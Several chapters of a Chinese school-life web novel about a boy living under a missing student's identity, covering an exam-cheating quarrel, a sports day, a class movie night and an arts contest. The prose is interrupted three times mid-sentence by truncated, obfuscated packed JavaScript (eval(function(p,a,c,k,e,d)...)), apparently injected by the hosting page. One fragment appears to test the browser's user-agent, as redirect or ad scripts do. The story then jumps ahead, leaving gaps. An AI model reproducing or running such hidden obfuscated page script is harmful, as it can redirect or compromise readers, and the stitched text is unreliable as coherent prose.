“哦,你写快了不仅不潦草,反而有了笔锋?”汤振嗤笑一声。 丁航看着汤振的表情,一时间面色红温,急切吼道: “于浩磊,你少在这里阴阳怪气,以小人之心度君子之腹!你自己考不过我,就觉得我是作弊,考试和平时字迹不一样的人多了去了,你一个一个去怀疑呗!” 汤振依然保持着那个撑着桌子的姿势,从容地笑了笑,“没错,我是没考好,最近运动会训练太多,我每天要在操场上跑那么多圈,哪有你这种坐在考场里分数自动上涨的特异功能啊?” “你放屁,我们一周也就训练三次,”丁航的语气里充满了反击:“更何况我也报名了运动会项目,我也在训练。凭什么你考得不好就怪训练太多,我考得好就被你说成是作弊?” “你俩别吵了。” 班长清冷严肃的声音从第二排传来,打断了汤振和丁航的争执。 只见班长慢慢转过身,目光平静地看向丁航,语气放缓道:“于浩磊毕竟停学了一年,这段时间集训还都满额完成,虽然这次只考了全班第八,但相比上次也进步了两名。现在他为集体荣誉付出努力,考得没你好,这有什么可嘲笑的?” 丁航愣神片刻,红着脖子说道:“哦?他训练就是为班级争光,那我考全班第一,不是更加为班级争光吗?这次我可是考进了年级前五呢!就算于浩磊为集体付出了,那也不能因为考不过我,就来含沙射影地说我考试作弊吧?” 全班同学又看向班长,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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汤振和于浩宁靠在走廊的栏杆上,看着许艺岚踩着平底鞋,步履匆匆地从走廊尽头小跑而来,显然是百忙之中抽身过来的,甚至连外套都没来得及换,手里还拿着一个文件夹和一把雨伞。 “妈。”于浩宁迎上去。 “浩宁,浩磊,”许艺岚的目光在两人身上停留一阵,气喘吁吁道:“我先进去开家长会了,你们的座位在哪?” “妈,”汤振指了指里面,“中间那两张空着的桌子就是我俩的,随便挑一张就行。” 而后的家长会,整整持续了两个小时。 当班主任宣布高一3班的家长会结束时,走廊里的学生纷纷挤向了门口,等着自己的家长从教室出来。 班主任穿过人群,走到许艺岚的座位旁,语气温婉道:“于浩磊妈妈你好,浩磊这孩子呀,停学一年后回来,可能还是有些不适应,相比两年前他高一时的成绩,这学期还是下滑得比较厉害。您回去一定要好好督促一下他的学习,毕竟高中知识断层是很可怕的。” 许艺岚平静地点了点头,微微叹气道:“好的老师,辛苦你这么关心他,过去的这一年多浩磊也确实经历了很多,总之我会慢慢引导他的。” “那就好,那就好,我们当老师的最怕的就是家长不配合……” 和班主任寒暄一阵,许艺岚才从教室里走了出来。 汤振听完了两人的对话,又看向许艺岚那张疲惫的脸,心里做好了挨骂的准备,同时也心疼许艺岚难得抽空来参加家长会,自己却没有给她长脸。 然而,许艺岚走到汤振面前,并没有像他预料中那样发火。 许艺岚伸出手,轻轻拍了拍汤振的肩膀,语气温和道:“没事,既然半期考试考完了,就别去想了。你停学一年,能考到这个分数,妈妈觉得你已经很不错了,接下来咱们继续加油就行。” 汤振呆滞地点了点头,看了看于浩宁。 许艺岚帮汤振整理着校服领子,“好啦,明天就是学校的秋季运动会了,别让成绩影响了心情。运动会上你可要好好跑哦,当然,更要注意安全!” 汤振脸上的神色逐渐放松,连连点头,“好的,谢谢妈。” 衣领上真实的温度,忽然让汤振心里分不清:许艺岚眼底的包容,到底是因为那份稳住了局面的亲子鉴定报告,还是因为一个母亲对失而复得的孩子的纯粹怜惜? “咱们走吧,”许艺岚转过头,看向站在一旁的两人,“今天难得我也有空,咱们去趟超市。天冷了,给你们爸爸挑两件厚实的新外套,然后回家吃顿好的。” “好!”汤振和于浩宁高兴地喊了一声。 三人并肩走出了校园。 空气中的泥土气息逐渐加重,阴沉的云层里,有细细雨丝落下,滴在水泥地上,一朵一朵浸染开来。? 21. 运动会风波 11月6日上午,校级运动会如期举行。 昨天的细雨并未对今天的运动会造成任何影响,浥鸣二中的操场上依旧充满活力。 低沉的云漫无目的地飘动,铿锵有力的进行曲在校园大喇叭里循环播放,振得树上的黄叶簌簌飘落。 操场跑道上,各个班级的方阵正在依次入场。 “一二三四,二二三四……” 高一3班的体育委员,扯着嗓子走在班级最前面,精神抖擞地举着班旗,双手伸得笔直,手上的青筋亦清晰可见。 班长江悦走在方阵的左上角,昂首挺胸地迈着步伐,脸上带着恰到好处的微笑。 经过主席台前方时,全班同学踩着节奏,响亮喊出了那句由班主任亲自审定的口号: “高一3班,高一3班,明年高二,后年高三!” “高一3班,高一3班,明年高二,后年高三!” 口号一出,主席台上正襟危坐的几个领导齐刷刷地顿了一下,面面相觑。 紧跟在后面的高一4班方阵里,细细传出一阵毫不掩饰的轻笑。 走完一圈后,所有班级方阵依次排在绿茵场内,听着校长宣布今年的秋季运动会正式开始。 “你们班选的什么神经质口号啊?”4班的体委笑得直不起腰,握着班旗的手也在一阵阵颤抖。 另一个4班的男生也冲着汤振这边大笑,“你们班是来开运动会的,还是来背日历的啊,怎么不把‘大后年读大一’也顺便喊了?哈哈哈哈……” “就是,简直拉低了我们整个年级的品味!” 4班方阵里,陈蓉萱笑得最夸张,眼神也不断轻蔑地看向江悦。 汤振按身高站在班级方阵的倒数第二排,双手插在校服裤兜里,眼神冷冷地扫过4班那群轻笑嘲讽的人。 “笑什么笑?” 汤振侧过头,声音不大,但那股极具穿透力的悍气压过了周围的嘈杂,“陈述事实的口号,有啥问题吗?” 4班的体委愣了一下,梗着脖子道:“是陈述废话吧?” 汤振面不改色,“这口号的意思是,我们3班是一个有凝聚力的集体,从高一读到高二,再读到高三,一个都不会少!” 4班的体委冷笑一声,不再多说,看向正在发言的校长。 “都别吵了!” 一声严厉的呵斥从方阵后面传来,汤振的班主任踩着运动鞋,缓步走了过来,同时狠狠地瞪了4班的班主任一眼。 “开幕致辞还没结束,你们有什么精力都给我留到赛道上去发泄!” 说完,汤振的班主任又盯了一眼4班的班主任,便不再说话,又重新站去了一旁。 校长发言完毕,运动会便正式开始。 上午十点半,沙坑这边正在进行三级跳远的比赛。 于浩宁此刻正站在沙坑旁边,紧张到做了三次深呼吸,看着排在前面的蒋朋正准备起跳。 蒋朋三步并作两步,冲向沙坑,纵身一跃—— “扑通!” 一声闷响,蒋朋的身体笨重地砸在了沙坑里,惯性还让他向前滚了半圈,肩膀上沾满了沙子,成绩也惨不忍睹。 “这是三级跳远呀?我还以为是海豹搁浅呢!”一个女声悠悠传来。 只见4班的陈蓉萱不知什么时候走了过来,笑得花枝乱颤,“你们3班,是挑不出好苗子了吧?” 旁边几个4班的男生也跟着起哄道:“赶紧出来吧,别把沙坑砸穿了,哈哈哈哈。” 蒋朋满脸憋得通红,艰难地从沙坑里爬了起来,拍着身上的沙子,一声不吭地走回了3班的休息区。 这个叫陈蓉萱的女生,汤振还有印象:之前在操场训练时,她还装作做调查的样子,来打探于浩宁的隐私。 除此之外,汤振还隐隐记得,班长似乎曾经和陈蓉萱发生过什么矛盾,但那天班长也没有解释太多。 想到这些,汤振忍不住朝班长看去。 班长手里拿着给参赛选手准备的矿泉水,径直走到警戒线边,隔着带子,目光冰冷地看着陈蓉萱,开口道: “陈蓉萱,我没记错的话,你们4班的口号是‘友谊第一,比赛第二’吧?你们是把友谊当饭吃了,还是把素质落教室里了?在这里人身攻击其他班同学,这就是你们班的体育精神吗?” 陈蓉萱此时正站在几个同班男生身前,朝江悦翻了个白眼,冷言冷语道:“我们实话实说而已,跳得差还不让人说了?你们3班真是玻璃心。” 其中一个4班的男生也附和道:“什么友谊?口号而已,你不会真信了吧?等到真正高考的时候,我们可是谁也不会让着谁。” 江悦胸口微微起伏,刚想开口,肩膀却突然被一个路过的人撞了一下。 丁航不知道什么时候走了过来,穿着一身专业的田径服,脚上踩着钉鞋,浑身上下透着一股攻击性。 然而,丁航连句道歉也没跟班长说,就径直走到了汤振身边,语气里带着毫不掩饰的嘲讽: “于浩磊,别人都指着你朋友的鼻子骂了,你就不怼回去?你平时在班上不是能说会道的吗,怼我的时候挺来劲儿,原来你只会窝里横。” 汤振没有发作,双手一摊,反问道:“大庭广众之下,我总不能冲过去打人家一顿吧?你这激将法,对我可不管用。” 丁航冷哼一声:“说白了,你就是怂。” 汤振看了一眼4班的休息区,朝丁航回应道:“不过我刚才去拿水的时候,看他们休息区的桌子上放着几罐没开封的可乐,就顺手拿起来摇了几下。除了这个,我一下子也想不到什么出气的方法。” 闻言,丁航愣了一下,顺着汤振的视线看过去。 只见4班的三个参赛选手正在庆祝刚才跳远拿了名次,一人拿了一罐休息区桌子上的可乐,准备一起打开。 几秒后。 “噗——呲!” 三声喷气声同时传来。 易拉罐打开的瞬间,罐内极高的压力突然得到释放,三罐可乐如同喷泉一样,呈放射状喷射而出! “啊!” 对面三个男生根本来不及反应,强劲的可乐水柱直接糊了三个人一脸,甚至有一些喷进了鼻腔里。 “咳咳咳……” “阿嚏——阿嚏!” 三个男生捂着鼻子,眼泪狂飙,疯狂打着喷嚏,原本干净的白色田径服,瞬间被染成了泥点斑驳的抹布,像刚从酱油缸里爬出来一样。 4班休息区的人连忙给三人递去餐巾纸,陈蓉萱的裤脚上也溅满了可乐,手舞足蹈地疯狂跺脚。 丁航远远望着对面的“盛况”,嘴角不受控制地扯了两下,又转过头,用审视的目光打量着汤振。 “我发现你有时候是真无聊,这种方法你也想得到,”丁航撇着嘴,吐了口气道:“不过,光靠这种小学生手段也不解气,还是想想待会儿怎么才能跑得快吧。咱俩之间的恩怨回去再说,今天在赛道上,你可千万别输给隔壁班那群人。” “放心,”汤振活动了一下手腕脚腕,眼神专注,“我练习跑步那会儿,他们还在学怎么系鞋带呢。” 十分钟后。 “男子一百米预赛第3组,请选手就位!” 裁判的呼喊声响起,所有参赛选手整齐划一地走向了起跑线。 汤振位于第五道,丁航位于第四道,4班的选手在第三道,另外几道则是其他班的选手。 “各就各位——” 裁判缓缓举起了发令枪。 赛道上的空气瞬间凝固,每一位选手的肌肉轮廓都绷得清晰可见。 汤振蹲在起跑线上,在这一刻,他忽然闭上了双眼。 这是汤振的一个习惯,他觉得,闭上眼睛,才能更清楚地听到发令枪的声响,更有助于自己集中注意力。 “预备——” 就在这紧张到极限一秒,汤振隐隐约约感觉到,从第四道的丁航身上,传来了一阵微弱的空气流动。 发令枪还未响,丁航却突然将身体猛地往前耸了一下,还做出抬腿的动作,看着像冲出了起跑线一样。 然而,这只是一个假起跑的动作,因为丁航仍然蹲在原地,等待裁判发令。 第三道的参赛选手余光瞥见了丁航的假动作,枪还没响,他便像离弦的箭一样,冲出了起跑线。 “吁——吁——吁——” 连续三声尖锐的哨声划破操场。 “第三道选手,抢跑,罚下!”裁判毫不留情地喊道。 “我没有,”4班选手满脸怒意地吼道:“是我旁边的人先动的!” “他只是晃了一下,又没抢跑,你是整个人都冲出去了!”裁判冷着脸解释道。 汤振也被争吵声吸引,睁开眼看向了裁判这边。 裁判盯着4班选手,掷地有声:“田径规则不懂吗?抢跑一次,取消比赛资格。你,出去!” 全场观众发出一片哗然,4班选手就这样被硬生生罚出了赛道。休息区的同学连忙走上前去,不断安慰着他。 汤振班上的几个同学原本想喝倒彩,但被班主任制止了。 起跑线上,汤振偏过头,看向得意洋洋的丁航和空空如也的第三道,嘴角也忍不住挑起了一抹笑意。 裁判处理完后,又重新回到了跑道旁。 “重新准备,各就各位——” “预备——” “砰!” 这一次,没有假动作。 枪响的瞬间,汤振的双眼猛地睁开,整个人如同猎豹出笼,带着街头生死时速练就的恐怖爆发力,像飞驰的列车一样,撕裂了身体周围的空气。 风在耳边疯狂呼啸,汤振的目光紧紧盯着终点线。 还有50米! 还有30米! 汤振和丁航几乎并驾齐驱。最后10米的冲刺,丁航的姿势极其专业,而汤振则完全是靠着猎豹般的本能,冲向了终点。 冲线了! “第1名,高一3班丁航,12秒42!” “第2名,高一3班于浩磊,12秒50!” “第3名,高一1班……” 广播宣布成绩的瞬间,汤振班上的休息区响起了一阵爆发式的欢呼声,全班同学疯狂挥动手中的校服尖叫,休息区的同学连忙冲去终点线,给丁航和汤振递上了水和湿巾。 观众席这边,班主任朝班长江悦使了个眼色,班长心领神会地看了4班一眼,随后带领着全班同学,朝4班的方向齐声喊了起来: “友谊第一,比赛第二!” “友谊第一,比赛第二!” 4班的参赛选手自然没有成绩,集体的沉默也和3班的热闹形成了鲜明的对比。 汤振大口喘着粗气,接过了于浩宁递来的水和湿巾。 于浩宁脸上写着几分震惊,“哥,你太厉害了。不过刚才发令枪响之前,丁航那个假动作那么逼真,你怎么都没受到影响?” 汤振接过水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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班长理了理头发,补充道:“考试的时候也会用。” 汤振又看了一眼手中纸条上的“修正带”,回想了一下刚才班长的描述,心里还是没底。 “这东西是用来掩盖错误的。”汤振慢慢说道。 “它……它是白色的,长条状。”蒋朋呆头呆脑地描述着。 “消耗比较大。”孟晓芸说道。 “我的鼻子不想靠近。”姜岩思索良久才敢开口。 游戏进行得不亦乐乎,六个人因为互相猜忌和胡说八道而笑得前仰后合,就连平时少有笑容的班长也被大家极其清奇的脑回路逗得忍俊不禁。 “你的词肯定是‘修正液’,我们的都是‘修正带’!”孟晓芸激动地指着姜岩大喊。 “我……”姜岩正要反驳。 “哎!孟晓芸,不能暴露自己的词儿,你犯规了……”丁航制止道。 大家饶有兴致地坐在草地上,将游戏继续进行了下去。 正当大家沉浸在欢声笑语中时,一道阴影悄无声息地遮住了阳光。 教导主任的声音悠悠传来:“是不是你们平时的作业太少了?” 所有人都颇有默契地同时变了脸色,汤振只觉得头顶的声音冷得像深冬的寒冰。 教导主任背着手,面色铁青地站在看台阶梯旁,身子微微前倾,居高临下地俯视着围坐成一圈的七个学生。 丁航手里的纸条都掉在了地上。班长也立刻收起了笑容,调整了一下坐姿。 “运动会是让你们来放松身体,培养集体荣誉感的,不是让你们来操场开茶话会的,”教导主任的声音像钉子一样砸在几人头顶:“其他班级有选手正在赛场上拼搏,你们同为浥鸣二中的学生,不要只给同班同学加油,也要给其他班同学加油呀。” 教导主任的目光又看向姜岩,语气更加不善:“还有,今天上午,是谁在4班选手跳远的时候,在旁边大喊‘漏油’的?你们觉得很幽默吗,简直是败坏校风!” “主任,我错了……”姜岩连连道歉。 “把纸条收起来,全都给我散开,去赛场旁边鼓掌!”教导主任厉声训斥道。 七个人顿时抓起地上的外套和水瓶,慌乱地四散逃开。 走到操场另一边,姜岩抬脚踢飞了一粒小石子,压低声音道:“教导主任怎么每时每刻都这么严格?在运动会上想放松一下都不行。” “行了,知足吧。”于浩宁在一旁劝道,他的目光越过红色跑道,看向了远处熟悉的教学楼。 午后的日光给教学楼的外墙瓷砖镀了一层金黄,高三年级的每一扇窗都紧闭着,窗户里面似乎也是黑压压的一片,也有几扇窗户玻璃上透着白炽灯的倒影。 “我们还能在操场上玩玩游戏,你看看高三那边,”于浩宁无奈道:“整个高三年级都不能参加运动会,只能隔着墙,听着操场上的声音。” 姜岩也顺着于浩宁的视线望了过去,抿了抿嘴,不再说话。 汤振苦笑道:“后年就该轮到咱们了哦。” 望向教学楼的同时,汤振心里一沉:在一排排紧闭的窗户后面,那个想要考上平州大学的伍泓,此刻也能听见外面的喧闹吗?那个曾被语文老师打击的申雅丽,这次半期考试的语文作文,有取得进步吗? 三个小时很快过去,操场上的学生们陆续离席。 傍晚的夕阳渐渐黯淡,广播里传来了“第一天的秋季运动会暂时告一段落,请大家明天再接再厉”的播报。 汤振将校服拉链拉到脖子的位置,和于浩宁一起,转身朝食堂的方向走去。 22. 银幕之夜 11月7日,黄昏时分。 为期两天的运动会,终于在傍晚的余晖中迎来了闭幕式。 操场中央的临时舞台上,四个年级中,获得冠军最多的班级依次在舞台上表演着文艺节目。 此时此刻,高一3班的方阵里,每个人都伸长了脖子。 舞台上,除了简朴的舞台灯光以外,还有漫天铺开的晚霞投来的光影。 班长江悦换下了一贯刻板的校服,穿上了一套带着古朴纹理的修身舞裙,里里外外共有三层,远远看去,颇像一只华丽的天鹅。 随着一阵空灵的手鼓声由远及近响起,江悦也缓缓舞动了小臂。 那是一曲透露着原始生命力的传统民间舞蹈,江悦没有像平时那样扶着眼镜板着脸,而是完全融入了鼓点之中,长袖在傍晚的微风中翻飞,像是在与天地对话,每一个旋转和每一次腾跃,都带着一种不屈的韧劲和惊心动魄的力量感。 在这一刻,江悦仿佛不再是那个只会学习和教训同学的冰冷学霸,而是一只在湖面上起舞的孔雀。 一曲舞毕,江悦定格在舞台中央,调整着呼吸节奏,朝台下悠然地弯腰鞠了一躬。 全场安静了两秒,随后爆发出潮水般的掌声和喝彩,连一向挑剔的教导主任也在主席台上面带笑容地鼓掌。 十分钟后,四项表演全部结束,操场上的众人都陆续离开。 江悦在后台换回了校服,拿着水杯,和班上其他同学一起朝教学楼走去。 汤振慢步走着,看着身旁额头带着细汗的江悦,忍不住赞叹道:“班长深藏不露呀,真没想到,你平时除了带头训练和熬夜刷题,竟然还能把这种高难度的民族舞跳得这么好,教导主任肯定会夸你时间管理能力极强!” 江悦拧开水杯喝了一口,神色恢复了往日的清冷与自信,“这支舞我准备了很久,下个月是校级艺术大赛,我打算就拿这支舞去参赛。如果拿下校级冠军,还可以去市里面参加市级比赛。” 汤振挑了挑眉,话锋一转:“原来如此……不过,既然是准备拿去打比赛的杀手锏,你现在就在全校同学面前提前暴露了底牌,不怕被别人录下来抄袭或者针对吗?” 江悦转过头,看着汤振深邃的双眼,嘴角勾起一抹轻松的微笑,“于浩磊,你也太谨慎了。抄袭永远只能抄到皮毛,抄不到灵魂。我既然今天敢拿出来跳,就不想藏着掖着,也不怕别人拿去抄。我相信无论别人怎么模仿,站在舞台上的那一刻,我就是最好的。” 汤振连连点头,紧握着手中的水杯,朝楼梯口走去。 晚霞的余光打在江悦的镜片上,折射出几道橙红的光芒。汤振看着江悦自信的面孔,心里的敬佩之意油然而生。 汤振心里觉得自己仿佛是在泥潭里打滚,习惯暗箭伤人,难以做到像江悦那样真正站在云端,堂堂正正靠实力说话。 “受教了,班长。”汤振挺直了身体,极其认真地回答道。 随着全校师生陆续回到教学楼,操场上便只剩下了零零散散的几名工作人员,正收拾着残局。 傍晚六点半,每一间教室皆亮起了灯,气氛比平时活跃。 虽然已经是晚自习时间,但高一3班的教室里却像过节一样热闹,大家都庆祝着自己班级在整个高一年级拿了最多的项目冠军。 忽然,教室门“砰”地一响。 体育委员脚踢开了教室前门,手里拎着两大个鼓鼓囊囊的透明塑料袋,像个凯旋的将军一样走上讲台,身后则跟着挺着孕肚的班主任。 “都安静,都安静,”班主任招呼着。 体育委员将塑料袋往讲台上一倒,“哗啦啦”一阵响,袋子里的东西如泄洪般流了出来,全是小卖部里最受欢迎的薯片、辣条和果冻。 班主任看着全班震惊的眼神,神秘地笑道:“今天我自费掏腰包,请大家吃零食!” 虽然脸色因为孕初反应还有些苍白,但班主任的眼神却亮得惊人,“我要再次恭喜大家,在这次校运动会上,咱们高一3班拿下了高一年级总分第一的好成绩!你们所有人的努力都是值得的,今晚就好好庆祝一番吧!” 全班爆发出掀翻屋顶的欢呼声,汤振环视着周围兴高采烈的同学,脸上也露出了由衷的欢笑。 “别急别急,还有更大的奖励,”班主任让体育委员把零食发给了大家,又得意洋洋地晃了晃手指,笑道:“今天的晚自习,卷子全收起来,我请大家看电影!而且……” 班主任故意拉长了声音:“而且,今晚允许自由换座位,你们想和谁坐在一起看,就和谁坐在一起看!” “太好了,爱你,老班!”欢呼声一阵接着一阵,教室里上演着比运动会还激烈的场面。 拿到零食后,大家纷纷开始搬凳子,找自己的好朋友坐在一起。 丁航抓起几包零食,眼神飘忽不定地望向江悦那边,磨磨蹭蹭地走到了第二排。 正准备开口,丁航却看到江悦已经拉着孟晓芸,坐去了教室中间其他人空出来的位置上。 “阿悦,我们坐这儿看视野最好。”孟晓芸欣喜道,手里还认真剥着橘子。 “这里好像是蒋朋的座位,他去和别人一起坐了吗?”江悦推了推眼镜问道。 孟晓芸指了指教室后面,含着一瓣橘子说道:“喏,他去那角落里坐了,咱俩就坐这儿吧。” 丁航僵在了原地,手里捏着一包薯片,进也不是,退也不是,眼底写着失落的情绪。 “你就坐这儿呗,”汤振的声音悠悠传来,他一边嚼着辣条,一边招手道:“你在这儿杵着当电线杆呢,跟我坐一起不就行了?” 丁航抿了抿嘴,若无其事地走回了自己的座位,低低道:“谁要跟你坐一起?无聊。” 嘴上抱怨完,丁航又看了看四周两两抱团的座位,最后,目光投向了坐在汤振前面的孟晓芸和班长。 汤振看了看斜前方的班长,又看了看丁航的眼神,叼着一根辣条,竟忘了咀嚼。 几秒后,丁航翻了个白眼,没好气地把凳子拖到了汤振的右边,又往左挤了挤汤振,“你坐进去点儿。” 汤振笑着往左移了移,肩膀都快贴到了于浩宁身上。 丁航撇嘴道:“我是因为没别的位置了,才勉强和你凑合一下的。”说完,又抬手在两人之间的空气中划了一道界线。 “行吧,丁哥最抢手了,是我高攀了。”汤振将嘴里的辣条咽下,目光转向投影荧幕。 班主任指挥着所有人拉上了窗帘,又走去门口关掉了白炽灯。 “啪嗒”一声,教室里顿时漆黑一片,有人低低欢呼,有人故意用幽幽的鼻音吓唬着旁边的人。 “行了,你们自己慢慢看吧,我回教研室躺会儿。” 班主任走到门口,突然停住脚步,又回过头,提高音量道: “如果待会儿教导主任来巡视,问是谁允许你们看电影的,你们就报我的名字,我倒要看看,谁敢跟一个孕妇叫板。” “好——”全班齐呼。 在一片喜悦的气氛中,班主任潇洒地关上了教室前门。 幕布亮起,电影开始,剧情讲述了一群科学家被困在一个巨大的深海机械迷宫里,必须通过解开一系列极其复杂的物理和数学机关,才能在氧气耗尽前逃出升天。 电影里没有可歌可泣的爱情,也没有血腥的打斗,只有纯粹的智商博弈和深海带来的幽闭恐惧感。 全班同学都被跌宕起伏的剧情深深吸引,汤振虽然理科不好,但也大概明白里面绝地求生的逻辑,看得津津有味。 一个半小时后,电影结束。 此时距离晚自习下课还有15分钟,教室里的灯还没开,只有窗外的月华和走廊上昏暗的灯光透进来,显得有几分幽静。 汤振低着头,透过窗户看了看满天繁星,难得的一个晴好之夜。 大家还沉浸在电影中的深海恐惧里,孟晓芸提议道:“反正关着灯,又没下课,咱们来讲恐怖故事!” 这个提议瞬间得到了热烈的回应,最擅长写抒情类作文的沈言峰被几个同学围了起来。 沈言峰在前几天的半期考试中拿了全班第三,语文作文更是得了满分。 汤振心里也满是好奇,拉着于浩宁挤了过去,跟班长、孟晓芸一起,满脸认真的听着沈言峰用低沉沙哑的嗓音开口讲恐怖故事。 “那我就讲一个学校里的故事吧……” 沈言峰不愧是抒情类作文拿满分的人,不仅叙述能力强,感染力也非常到位,他讲了一个关于一所学校旧实验楼的台阶的故事。 随着沈言峰时而舒缓,时而急促的语调,夜风摇动窗帘的沙沙声,仿佛都变成了故事里看不见的脚步声。 “当那个学生低头看的时候,他发现,台阶上根本没有脚!只有一双滴着血的红色皮鞋,正在慢慢、慢慢地,顺着楼梯往上爬……” “咝——”孟晓芸倒吸了一口凉气,连忙捏紧班长的肩膀,咬着牙继续听。 汤振靠着桌沿,听得出神,借着月光看向身旁的于浩宁——只见于浩宁满脸僵硬,双手死死地抓着椅子,连呼吸都小心翼翼的。 “紧接着,后方又传来了脚步声,叮咚,叮咚,房门瞬间打开,一个浑身滴血的怪物从天花板上掉了下来,滚到他脚边!”沈言峰手脚并用地讲着。 听得出神时,教室门突然“咚”一声被推开,一个人影飞速冲了进来。 旁边听故事的几人“啊——”尖叫出了声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着话,于浩宁慢慢把头转向右侧,看着空荡荡的卧室中间,胆怯道:“但右边是空的,每次我闭上眼,脑子里就控制不住去想,会不会有个浑身滴血的怪物,站在我右边,静静地看着我睡觉。” “你这想象力,不去写恐怖小说真是屈才了。”汤振打趣道。 说完,汤振抓了抓头发,随后一把掀开被子,慢悠悠地坐了起来。 在于浩宁疑惑的目光中,汤振抓起自己的枕头,光着脚走到于浩宁的床边,毫不客气地掀开被褥,硬生生挤了进去。 “你干嘛?”于浩宁的眼神充满了惊异。 “哎呀,你再往里挪点儿!”汤振把枕头往床头一扔,把于浩宁使劲往左边挤,躺在了于浩宁的右边。 “好了,”汤振笑道:“现在,你右边也有个人肉盾牌了,就算真有滴血的怪物,我也会亲自罚它把地上的血液清理干净!” 单人床很窄,两个男生挤在一起,翻身都有些困难。 于浩宁不安的神色慢慢平复了下来。房间里又恢复了安静,只能听到两人轻微的呼吸声。 又过了一分钟,于浩宁耳语似的开口道: “按理说,我不应该怕鬼的,假如……我是说假如,假如我哥真的死了,那我遇到的鬼,也有可能是他变的吧。” 汤振只觉得后背的肌肉轻微绷紧了一阵,他转过身,看着黑暗中于浩宁的双眼,语气变得严厉: “你不许再这么瞎想,失踪就是失踪,只要没见到尸体,就不是死!胡思乱想,除了给自己找不痛快,没有任何意义。” 于浩宁吸了吸鼻子,低声道:“其实……其实我哥以前对我也没有特别好,他的性格也有点冷淡,我们俩一年也说不上几句交心的话。可是当他真的失踪了以后,我看着他的空床,心里还是会想他。” 汤振咬了咬牙关,伸手抓住了于浩宁的右臂,“因为你们是亲兄弟,彼此心连着心。既然事情已经发生,就不要追悔往昔,做好当下每一件事,对得起自己,也对得起家人。” “嗯。”于浩宁轻轻应答一声,往左边靠了靠,把右边的位置多留了一些出来。 时钟的“嘀嗒”声仍回荡在房间里。 汤振来到这个家已经三个多月,来到浥鸣二中也已经三个多月,此时此刻,躺在于浩宁的身边,竟让他恍惚觉得自己融入了这里的一切,就连自己的真实身份,也不敢轻易去回忆了。 望着天花板,汤振的眼皮越来越重,脑海里的复杂情绪一根又一根,编织成了一张网,将他迷迷糊糊地拉入了梦境里。 月色如乳似烟,倾泻而下,静谧的夜色笼罩着浥鸣县。 23. 海选与初赛 11月15日上午,阴云密布。 浥鸣县昨夜刚下过一场冷雨,今早的空气里便带了几分能刺透校服的寒意。 刚做完课间操,一楼走廊的公告栏旁边,里三层外三层挤满了人,哪怕上课铃快响了,依然有学生踮着脚尖往。 汤振嘴角咬着半袋牛奶,双手拿着一沓资料,慢悠悠地从人群外围晃过,他比大部分高中生都要高出半个头。 视线越过攒动的人头,汤振轻易地看清了那张贴在最高处的显眼海报: 《浥鸣二中第四届“青春之声”校级艺术大赛海选》 对于这种在台上唱唱歌、跳跳舞或弹弹琴的活动,汤振向来是一窍不通,更不了解这个比赛的意义和作用。 汤振刚准备回教室抓紧时间补个觉,肩膀就被人重重撞了一下。 “于浩磊!看通知了吗?”丁航急匆匆跑了过来。 汤振寻声看去,只见丁航手里攥着一张不知从哪里搞来的报名表复印件。 自从上次运动会后,汤振总感觉丁航在自己面前老实了不少,虽然偶尔还是会摆出那副别扭的样子,但眼神里少了几分挑衅。 此刻,丁航挥动着手里的报名表,两眼放光,整个人透着一种亢奋的躁动。 “看到了啊,怎么了?”汤振将嘴里的空袋子扔进垃圾桶,“你别告诉我你要去报名这个艺术大赛。” “你懂什么,”丁航凑近半步,左右看了一眼,像是生怕被人听见似的,赶紧解释道:“这可不是什么随便糊弄的比赛!我初一的时候,刚好举办第一届,现在都到第四届了。这个比赛的规格很高,高一到高三的所有学生都能报名参加。” “所以呢,”汤振看着丁航神秘的样子,有些忍不住发笑,“这个高规格比赛,可以表演胸口碎大石吗?跟咱们有什么关系……” “但跟班长有关系啊,”丁航激动道:“如果她在校级比赛拿了冠军,就能代表学校去参加市级大赛。重要的是,如果市级大赛也拿冠军,以后高考选择艺术类专业,是可以额外加分的!” 说到“加分”两个字时,丁航的双眼透着一股难以掩饰的热烈。 汤振的脚步当场顿住。 加分?短短两个字,像是一道惊雷,劈开了汤振的刻板认知。 原来,除了成绩以外,还有这么多姿多彩的路径。 汤振瞬间明白了为什么一些高三学生也对这个比赛趋之若鹜,他脑海中还浮现出了申雅丽的模样,申雅丽的舞蹈功力也是一绝,她在去年迎新晚会上跳的舞,还被人传言是专门为失踪的于浩磊而跳的。 汤振细细想着:如果申雅丽能在这场比赛杀出重围,应该能弥补她作文上的短板吧? “只是不知道她想不想考艺术类专业……”汤振自言自语道。 “她肯定想啊,”丁航回应道:“上次她不是说了吗,要用那支民族舞去参赛。” 汤振摇了摇手,毕竟他想到的是申雅丽,丁航想到的是班长,于是尴尬地笑道:“没,没,我是在想其他的事情。” 丁航的脸上浮现出讨好意味的殷勤,“上上周,班长在运动会闭幕式上跳的民族舞,你也看到了,简直是降维打击。我觉得,只要她报了名,市里的名额绝对有她一份!那天她不是还和你聊过吗?她说站在舞台上的那一刻,她就是最好的。” 说完,丁航整理了一下校服领子,朝教室走去,汤振也跟在后面回了教室。 丁航拿着报名表,大步跨进教室,径直走到了班长的课桌前。 江悦正坐在座位上,手里拿着一支黑色的签字笔,神色专注地在报名表上填写着个人信息。 “班长,”丁航换上了绅士的笑容,双手撑在江悦桌子边缘,惊讶道:“呀!你已经在填报名表了啊?” 江悦连头都没抬,笔尖在纸上唰唰作响,“有事说事哦,别神神秘秘的。” 丁航清了清嗓子,“咳咳,你不是要去参加比赛嘛,这种大型比赛,后台乱得很,搬道具,盯音响,协调场地什么的,都需要人手。” 江悦点了点头,“确实有点麻烦。” 